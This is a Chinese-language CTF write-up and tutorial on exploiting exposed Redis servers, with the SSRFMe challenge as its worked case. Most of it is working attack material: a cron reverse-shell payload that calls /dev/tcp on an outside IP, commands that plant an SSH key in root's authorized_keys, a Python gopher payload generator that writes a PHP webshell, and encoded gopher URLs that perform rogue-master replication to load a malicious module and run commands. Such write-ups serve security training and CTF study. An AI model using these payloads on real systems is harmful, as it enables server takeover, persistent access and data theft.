crontab 只能在Centos上使用,原因:
1.redis默认写入文件的权限为644,而ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>
权限必须是600,否则会报错。而Centos的定时任务文件/var/spool/cron/<username>
权限644也可执行。
2.因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
3.不同系统中crontrab定时文件位置也会不同Centos的定时任务文件在/var/spool/cron/<username>
Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>
,Centos和Ubuntu均存在的(需要root权限)/etc/crontab
,高版本的redis默认启动是redis
权限,所以无法利用。
payload
1 2 3 4 5 set xxx "\n\n* * * * * bash -i>& /dev/tcp/10.133.164.81/6666 0>&1\n\n" config set dir /var/spool/cron config set dbfilename root save
写入公钥 向/root/.ssh中写入公钥即可用ssh登陆服务器,高版本redis少有root权限,难以利用
生成私钥
redis命令
1 2 3 4 5 6 flushallset 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali ' config set dir /root/.ssh/ config set dbfilename authorized_keys save
写入webshell 比较常用的方法,以[网鼎杯 2020 玄武组]SSRFMe为例
访问index.php,过滤127.0.0.1,使用http://0.0.0.0
绕过,提示要访问hint.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <?php function check_inner_ip ($url ) { $match_result =preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/' ,$url ); if (!$match_result ) { die ('url fomat error' ); } try { $url_parse =parse_url($url ); } catch (Exception $e ) { die ('url fomat error' ); return false ; } $hostname =$url_parse ['host' ]; $ip =gethostbyname($hostname ); $int_ip =ip2long($ip ); return ip2long('127.0.0.0' )>>24 == $int_ip >>24 || ip2long('10.0.0.0' )>>24 == $int_ip >>24 || ip2long('172.16.0.0' )>>20 == $int_ip >>20 || ip2long('192.168.0.0' )>>16 == $int_ip >>16 ; }function safe_request_url ($url ) { if (check_inner_ip($url )) { echo $url .' is inner ip' ; } else { $ch = curl_init(); curl_setopt($ch , CURLOPT_URL, $url ); curl_setopt($ch , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch , CURLOPT_HEADER, 0 ); $output = curl_exec($ch ); $result_info = curl_getinfo($ch ); if ($result_info ['redirect_url' ]) { safe_request_url($result_info ['redirect_url' ]); } curl_close($ch ); var_dump($output ); } }if (isset ($_GET ['url' ])){ $url = $_GET ['url' ]; if (!empty ($url )){ safe_request_url($url ); } }else { highlight_file(__FILE__ ); }?>
读取hint.php
1 http ://cb0 f5 ef6 -1668 -4620 -a764 -3 af2 cac0 b19 b.node3 .buuoj.cn/?url=http://0.0.0.0 /hint.php
hint.php
1 2 3 4 5 6 7 8 <?php if ($_SERVER ['REMOTE_ADDR' ]==="127.0.0.1" ){ highlight_file(__FILE__ ); }if (isset ($_POST ['file' ])){ file_put_contents($_POST ['file' ],"<?php echo 'redispass is root';exit();" .$_POST ['file' ]); }"
利用dict://
访问6379端口,存在redis,前面给出了密码为root
1 http ://cb0 f5 ef6 -1668 -4620 -a764 -3 af2 cac0 b19 b.node3 .buuoj.cn/?url=dict://0.0.0.0:6379
利用gopher协议,生成payload
1 2 3 C:\Users\dell\Desktop > python2 G:\工具\ssrf工具\gopherwriteshell2 .pygopher: //0.0 .0.0 :6379 /_%2 A2 %0 D%0 A%244 %0 D%0 AAUTH%0 D%0 A%244 %0 D%0 Aroot%0 D%0 A%2 A1 %0 D%0 A%248 %0 D%0 Aflushall%0 D%0 A%2 A3 %0 D%0 A%243 %0 D%0 Aset%0 D%0 A%241 %0 D%0 A1 %0 D%0 A%2432 %0 D%0 A%0 A%0 A%3 C%3 Fphp%20 system%28 %22 cat%20 /flag%22 %29 %3 B%3 F%3 E%0 A%0 A%0 D%0 A%2 A4 %0 D%0 A%246 %0 D%0 Aconfig%0 D%0 A%243 %0 D%0 Aset%0 D%0 A%243 %0 D%0 Adir%0 D%0 A%2413 %0 D%0 A/var/www/html%0 D%0 A%2 A4 %0 D%0 A%246 %0 D%0 Aconfig%0 D%0 A%243 %0 D%0 Aset%0 D%0 A%2410 %0 D%0 Adbfilename%0 D%0 A%249 %0 D%0 Ashell.php%0 D%0 A%2 A1 %0 D%0 A%244 %0 D%0 Asave%0 D%0 A
python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import urllib protocol="gopher://" ip="10.0.231.11" // 运行有redis的主机ip port="6379" shell="\n\n<?php system(\"cat /flag\");?>\n\n" filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall" , "set 1 {}" .format (shell.replace(" " ,"${IFS}" )), "config set dir {}" .format (path), "config set dbfilename {}" .format (filename), "save" ]if passwd: cmd.insert(0 ,"AUTH {}" .format (passwd)) payload=protocol+ip+":" +port+"/_" def redis_format (arr ): CRLF="\r\n" redis_arr = arr.split(" " ) cmd="" cmd+="*" +str (len (redis_arr)) for x in redis_arr: cmd+=CRLF+"$" +str (len ((x.replace("${IFS}" ," " ))))+CRLF+x.replace("${IFS}" ," " ) cmd+=CRLF return cmdif __name__=="__main__" : for x in cmd: payload += urllib.quote(redis_format(x)) print payload
利用gopher协议,生成payload
把生成的payload进行url编码
1 http ://cb0 f5 ef6 -1668 -4620 -a764 -3 af2 cac0 b19 b.node3 .buuoj.cn/?url=gopher://0.0.0.0:6379 /_%25 %32 %41 %32 %25 %30 %44 %25 %30 %41 %25 %32 %34 %34 %25 %30 %44 %25 %30 %41 %41 %55 %54 %48 %25 %30 %44 %25 %30 %41 %25 %32 %34 %34 %25 %30 %44 %25 %30 %41 %72 %6 f%6 f%74 %25 %30 %44 %25 %30 %41 %25 %32 %41 %31 %25 %30 %44 %25 %30 %41 %25 %32 %34 %38 %25 %30 %44 %25 %30 %41 %66 %6 c%75 %73 %68 %61 %6 c%6 c%25 %30 %44 %25 %30 %41 %25 %32 %41 %33 %25 %30 %44 %25 %30 %41 %25 %32 %34 %33 %25 %30 %44 %25 %30 %41 %73 %65 %74 %25 %30 %44 %25 %30 %41 %25 %32 %34 %31 %25 %30 %44 %25 %30 %41 %31 %25 %30 %44 %25 %30 %41 %25 %32 %34 %33 %32 %25 %30 %44 %25 %30 %41 %25 %30 %41 %25 %30 %41 %25 %33 %43 %25 %33 %46 %70 %68 %70 %25 %32 %30 %73 %79 %73 %74 %65 %6 d%25 %32 %38 %25 %32 %32 %63 %61 %74 %25 %32 %30 %2 f%66 %6 c%61 %67 %25 %32 %32 %25 %32 %39 %25 %33 %42 %25 %33 %46 %25 %33 %45 %25 %30 %41 %25 %30 %41 %25 %30 %44 %25 %30 %41 %25 %32 %41 %34 %25 %30 %44 %25 %30 %41 %25 %32 %34 %36 %25 %30 %44 %25 %30 %41 %63 %6 f%6 e%66 %69 %67 %25 %30 %44 %25 %30 %41 %25 %32 %34 %33 %25 %30 %44 %25 %30 %41 %73 %65 %74 %25 %30 %44 %25 %30 %41 %25 %32 %34 %33 %25 %30 %44 %25 %30 %41 %64 %69 %72 %25 %30 %44 %25 %30 %41 %25 %32 %34 %31 %33 %25 %30 %44 %25 %30 %41 %2 f%76 %61 %72 %2 f%77 %77 %77 %2 f%68 %74 %6 d%6 c%25 %30 %44 %25 %30 %41 %25 %32 %41 %34 %25 %30 %44 %25 %30 %41 %25 %32 %34 %36 %25 %30 %44 %25 %30 %41 %63 %6 f%6 e%66 %69 %67 %25 %30 %44 %25 %30 %41 %25 %32 %34 %33 %25 %30 %44 %25 %30 %41 %73 %65 %74 %25 %30 %44 %25 %30 %41 %25 %32 %34 %31 %30 %25 %30 %44 %25 %30 %41 %64 %62 %66 %69 %6 c%65 %6 e%61 %6 d%65 %25 %30 %44 %25 %30 %41 %25 %32 %34 %39 %25 %30 %44 %25 %30 %41 %73 %68 %65 %6 c%6 c%2 e%70 %68 %70 %25 %30 %44 %25 %30 %41 %25 %32 %41 %31 %25 %30 %44 %25 %30 %41 %25 %32 %34 %34 %25 %30 %44 %25 %30 %41 %73 %61 %76 %65 %25 %30 %44 %25 %30 %41
写入成功,得到flag
主从复制rce 在docker环境下,一个单一的容器中不会有除redis以外的任何服务存在,如ssh和crontab,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下可以利用主从复制执行命令。
主从复制概念
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。建立主从关系只需要在从节点操作就行了,主节点不用任何操作。
主从复制作用
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
利用 还是以[网鼎杯 2020 玄武组]SSRFMe为例
需要先下载两个工具
https://github.com/xmsec/redis-ssrf
https://github.com/n0b0dyCN/redis-rogue-server
实际用到的只有第一个链接中的rogue-server.py
和ssrf-redis.py
,还有第二个链接中的exp.so
,把这三个文件放到一个文件夹里即可
修改ssrf-redis.py中的一些参数
lhost改为vps地址,6666端口为rogue-server.py
的运行端口,command为要执行的命令
ip改为符合要求的0.0.0.0
密码改为root
生成payload
运行rogue-server.py,建立从节点
将生成的payload进行url编码后访问,得到flag
1 http ://44677 c4 e-0255 -433 c-aa69 -f1 ebedb79 c08 .node3 .buuoj.cn/?url=gopher://0.0.0.0:6379 /_%25 %32 %41 %32 %25 %30 %44 %25 %30 %41 %25 %32 %34 %34 %25 %30 %44 %25 %30 %41 %41 %55 %54 %48 %25 %30 %44 %25 %30 %41 %25 %32 %34 %34 %25 %30 %44 %25 %30 %41 %72 %6 f%6 f%74 %25 %30 %44 %25 %30 %41 %25 %32 %41 %33 %25 %30 %44 %25 %30 %41 %25 %32 %34 %37 %25 %30 %44 %25 %30 %41 %53 %4 c%41 %56 %45 %4 f%46 %25 %30 %44 %25 %30 %41 %25 %32 %34 %31 %35 %25 %30 %44 %25 %30 %41 %31 %31 %38 %2 e%31 %39 %35 %2 e%31 %36 %36 %2 e%31 %33 %38 %25 %30 %44 %25 %30 %41 %25 %32 %34 %34 %25 %30 %44 %25 %30 %41 %36 %36 %36 %36 %25 %30 %44 %25 %30 %41 %25 %32 %41 %34 %25 %30 %44 %25 %30 %41 %25 %32 %34 %36 %25 %30 %44 %25 %30 %41 %43 %4 f%4 e%46 %49 %47 %25 %30 %44 %25 %30 %41 %25 %32 %34 %33 %25 %30 %44 %25 %30 %41 %53 %45 %54 %25 %30 %44 %25 %30 %41 %25 %32 %34 %33 %25 %30 %44 %25 %30 %41 %64 %69 %72 %25 %30 %44 %25 %30 %41 %25 %32 %34 %35 %25 %30 %44 %25 %30 %41 %2 f%74 %6 d%70 %2 f%25 %30 %44 %25 %30 %41 %25 %32 %41 %34 %25 %30 %44 %25 %30 %41 %25 %32 %34 %36 %25 %30 %44 %25 %30 %41 %63 %6 f%6 e%66 %69 %67 %25 %30 %44 %25 %30 %41 %25 %32 %34 %33 %25 %30 %44 %25 %30 %41 %73 %65 %74 %25 %30 %44 %25 %30 %41 %25 %32 %34 %31 %30 %25 %30 %44 %25 %30 %41 %64 %62 %66 %69 %6 c%65 %6 e%61 %6 d%65 %25 %30 %44 %25 %30 %41 %25 %32 %34 %36 %25 %30 %44 %25 %30 %41 %65 %78 %70 %2 e%73 %6 f%25 %30 %44 %25 %30 %41 %25 %32 %41 %33 %25 %30 %44 %25 %30 %41 %25 %32 %34 %36 %25 %30 %44 %25 %30 %41 %4 d%4 f%44 %55 %4 c%45 %25 %30 %44 %25 %30 %41 %25 %32 %34 %34 %25 %30 %44 %25 %30 %41 %4 c%4 f%41 %44 %25 %30 %44 %25 %30 %41 %25 %32 %34 %31 %31 %25 %30 %44 %25 %30 %41 %2 f%74 %6 d%70 %2 f%65 %78 %70 %2 e%73 %6 f%25 %30 %44 %25 %30 %41 %25 %32 %41 %32 %25 %30 %44 %25 %30 %41 %25 %32 %34 %31 %31 %25 %30 %44 %25 %30 %41 %73 %79 %73 %74 %65 %6 d%2 e%65 %78 %65 %63 %25 %30 %44 %25 %30 %41 %25 %32 %34 %31 %34 %25 %30 %44 %25 %30 %41 %63 %61 %74 %25 %32 %34 %25 %37 %42 %49 %46 %53 %25 %37 %44 %2 f%66 %6 c%61 %67 %25 %30 %44 %25 %30 %41 %25 %32 %41 %31 %25 %30 %44 %25 %30 %41 %25 %32 %34 %34 %25 %30 %44 %25 %30 %41 %71 %75 %69 %74 %25 %30 %44 %25 %30 %41